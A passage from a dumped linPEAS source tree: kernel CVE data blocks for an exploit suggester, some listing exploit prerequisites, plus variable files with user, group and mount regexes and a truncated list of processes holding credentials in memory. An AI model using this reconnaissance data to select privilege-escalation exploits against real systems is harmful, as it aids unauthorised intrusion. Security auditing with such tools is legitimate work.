CVE token from example repos; no matching rule defined in source suggesters CVE-2021-44733 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2021-45608 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-0185 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-0435 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-1015 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-1016 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-1786 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-1972 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-20122 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-20186 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-20409 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-20421 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-2078 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-22057 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-22071 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_14 )" KERNEL_CVE_DATA_15="$(cat <<'EOF_DATA_15' CVE-2022-22265 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-22706 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-23222 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-24354 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-25636 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-25664 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-2590 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-2602 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-27666 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-29582 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-34918 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-38181 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-3910 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-41218 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-42703 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-42895 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-42896 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-4543 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-46395 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-47943 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2022-49080 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-0179 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-0266 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-0461 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-0590 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_15 )" KERNEL_CVE_DATA_16="$(cat <<'EOF_DATA_16' CVE-2023-1206 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-1829 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2008 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-20938 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-21400 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2156 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2163 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-23586 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2593 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2598 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-26083 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2612 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-2640 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-31248 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32233 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32629 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-3269 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32832 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32837 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32878 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-32882 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-33063 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-33106 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-33107 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-3338 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_16 )" KERNEL_CVE_DATA_17="$(cat <<'EOF_DATA_17' CVE-2023-3389 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-3390 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-35001 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-3865 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-3866 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-4130 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-4211 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-42483 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-4273 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-45864 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-4611 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-48409 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-50809 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-5178 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-52440 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-52447 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-52922 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-52926 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-5717 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-6200 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-6241 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-6546 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-6931 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2023-6932 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-0582 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_17 )" KERNEL_CVE_DATA_18="$(cat <<'EOF_DATA_18' CVE-2024-20018 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-21455 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-23372 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-23373 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-23380 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-26809 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-26921 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-26925 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-26926 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-31333 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-33060 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-35880 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-36016 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-36886 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-36904 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-36974 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-36978 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-38399 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-38402 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-41003 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-41009 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-41010 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-43047 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-43882 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-44068 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_18 )" KERNEL_CVE_DATA_19="$(cat <<'EOF_DATA_19' CVE-2024-46713 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-46740 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-49739 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-49848 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-49882 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-50066 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-50264 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-50302 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-53104 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-53141 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-53197 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-56614 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-56615 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-56626 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-56627 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-56770 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-0072 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-0927 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21479 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21666 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21669 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21670 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21692 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21700 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21703 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_19 )" KERNEL_CVE_DATA_20="$(cat <<'EOF_DATA_20' CVE-2025-21756 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-21836 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-22056 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-23280 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-23330 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-32463 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-37752 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-37756 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-37899 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-37947 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-38001 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-38003 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-38004 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-38617 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-39946 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-39965 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-40040 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-6349 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-8045 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-8109 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2106-2504 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_20 )" KERNEL_CVE_DATA_21="$(cat <<'EOF_DATA_21' CVE-2015-8550 double-fetch pkg=linux-kernel,ver=4.19.65 1 From kernel-exploit-factory detail section (test version Linux-4.19.65) CVE-2017-8890 inet_csk_clone_lock double-free pkg=linux-kernel,ver=4.10.15 1 From kernel-exploit-factory detail section (test version Linux-4.10.15) CVE-2019-8956 sctp_sendmsg null pointer dereference pkg=linux-kernel,ver=4.20.0,x86 1 From kernel-exploit-factory detail section; exploit chain is documented for 32-bit with CVE-2019-9213 CVE-2021-31440 eBPF verifier __reg_combine_64_into_32 pkg=linux-kernel,ver>=5.11,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 1 From kernel-exploit-factory detail section and exploit prerequisites CVE-2021-4154 cgroup fsconfig type confusion pkg=linux-kernel,ver=5.13.3 1 From kernel-exploit-factory detail section (test version Linux-5.13.3) CVE-2022-2588 route4_filter double-free pkg=linux-kernel,ver=5.19.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 From kernel-exploit-factory detail section and exploit prerequisites CVE-2022-2639 openvswitch reserve_sfa_size integer overflow pkg=linux-kernel,ver=5.17.4,cmd:grep -qi openvswitch /proc/modules 1 From kernel-exploit-factory detail section; openvswitch module required CVE-2025-21702 net/sched qdisc UAF pkg=linux-kernel,ver=6.6.75,CONFIG_NET_SCHED=y 1 From kernel-exploit-factory detail section (test version Linux-6.6.75) CVE-2017-16994 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as related bypass mention CVE-2020-27171 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as related comment in exploit source CVE-2024-0193 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as upstream source reference EOF_DATA_21 )" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/knw_emails.sh ================================================ # Title: Variables - knw_emails # ID: knw_emails # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known email addresses # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $knw_emails # Fat linpeas: 0 # Small linpeas: 1 knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/knw_grps.sh ================================================ # Title: Variables - knw_grps # ID: knw_grps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known groups # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $knw_grps # Fat linpeas: 0 # Small linpeas: 1 knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' #https://www.togaware.com/linux/survivor/Standard_Groups.html ================================================ FILE: linPEAS/builder/linpeas_parts/variables/knw_usrs.sh ================================================ # Title: Variables - knw_usrs # ID: knw_usrs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known users # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $knw_usrs # Fat linpeas: 0 # Small linpeas: 1 knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|noboby|Debian\-\+|rtkit|systemd\+' ================================================ FILE: linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh ================================================ # Title: Variables - ldsoconfdG # ID: ldsoconfdG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Knwon ldso.conf.d directories # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $ldsoconfdG # Fat linpeas: 0 # Small linpeas: 1 ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mail_apps.sh ================================================ # Title: Variables - mail_apps # ID: mail_apps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known mail applications # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mail_apps # Fat linpeas: 0 # Small linpeas: 1 mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mountG.sh ================================================ # Title: Variables - mountG # ID: mountG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known mount points # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mountG # Fat linpeas: 0 # Small linpeas: 1 mountG="swap|/cdrom|/floppy|/dev/shm" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mounted.sh ================================================ # Title: Variables - mounted # ID: mounted # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find mounted folders # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mounted # Fat linpeas: 0 # Small linpeas: 1 mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') if ! [ "$mounted" ]; then mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') fi if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mountpermsB.sh ================================================ # Title: Variables - mountpermsB # ID: mountpermsB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous known mount points # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mountpermsB # Fat linpeas: 0 # Small linpeas: 1 mountpermsB="\Wsuid|\Wuser|\Wexec" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mountpermsG.sh ================================================ # Title: Variables - mountpermsG # ID: mountpermsG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Good known mount points # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mountpermsG # Fat linpeas: 0 # Small linpeas: 1 mountpermsG="nosuid|nouser|noexec" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/mygroups.sh ================================================ # Title: Variables - mygroups # ID: mygroups # Author: Carlos Polop # Last Update: 22-08-2023 # Description: My groups # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $mygroups # Fat linpeas: 0 # Small linpeas: 1 mygroups=$(groups 2>/dev/null | tr " " "|") ================================================ FILE: linPEAS/builder/linpeas_parts/variables/notBackup.sh ================================================ # Title: Variables - notBackup # ID: notBackup # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Not interesting backup folders # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $notBackup # Fat linpeas: 0 # Small linpeas: 1 notBackup="/tdbbackup$|/db_hotbackup$" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/notExtensions.sh ================================================ # Title: Variables - notExtensions # ID: notExtensions # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Not interesting extensions # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $notExtensions # Fat linpeas: 0 # Small linpeas: 1 notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/notmounted.sh ================================================ # Title: Variables - notmounted # ID: notmounted # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Not mounted folders # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $mountG, $mounted # Initial Functions: # Generated Global Variables: $notmounted # Fat linpeas: 0 # Small linpeas: 1 notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/processesB.sh ================================================ # Title: Variables - processesB # ID: processesB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous known processes # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $processesB # Fat linpeas: 0 # Small linpeas: 1 processesB="amazon-ssm-agent|knockd|splunk" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/processesDump.sh ================================================ # Title: Variables - processesDump # ID: processesDump # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known processes with creds in mem # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $processesDump # Fat linpeas: 0 # 